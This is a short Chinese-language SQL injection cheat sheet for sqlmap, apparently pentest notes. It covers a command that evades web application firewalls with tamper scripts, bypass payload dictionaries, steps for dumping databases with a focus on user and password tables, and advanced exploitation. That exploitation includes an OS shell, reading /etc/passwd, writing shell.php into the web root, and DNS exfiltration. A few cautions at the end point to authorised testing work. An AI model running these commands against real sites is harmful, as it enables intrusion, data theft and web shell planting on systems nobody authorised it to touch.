timeout 480 sqlmap -u 'http://目标/page.php?id=1' --batch --tamper=space2comment,between --random-agent 2>&1 | tee /tmp/sqlmap_output.logWAF 绕过技巧
常用 tamper 脚本组合:
- 通用:
space2comment,between,randomcase - MySQL:
space2comment,equaltolike,greatest,halfversionedmorekeywords - MSSQL:
space2comment,between,charencode
编码绕过: URL双编码、Unicode编码、十六进制编码
使用 aboutsecurity 字典库获取绕过 payload:
ls /pentest/AboutSecurity/Dic/SQL-Inj/
cat /pentest/AboutSecurity/Dic/SQL-Inj/bypass-waf.txtsqlmap 数据提取流程
1. 库名: sqlmap --dbs 2. 表名: sqlmap -D dbname --tables 3. 列名: sqlmap -D dbname -T tablename --columns 4. 数据: sqlmap -D dbname -T tablename --dump 5. 敏感信息: 关注 users/admin/password/config 等表
高级利用
- OS Shell:
sqlmap --os-shell(需 FILE 权限 + 可写路径) - 文件读取:
sqlmap --file-read=/etc/passwd - 文件写入:
sqlmap --file-write=shell.php --file-dest=/var/www/html/ - DNS 带外:
sqlmap --dns-domain=your.dns.server
注意事项
- 优先使用低风险技术(布尔盲注 > 时间盲注 > 报错注入)
- 避免使用 --risk 3(OR-based 可能修改数据)
- 大量数据提取使用 --threads 控制速率
- 保留原始请求和响应作为证据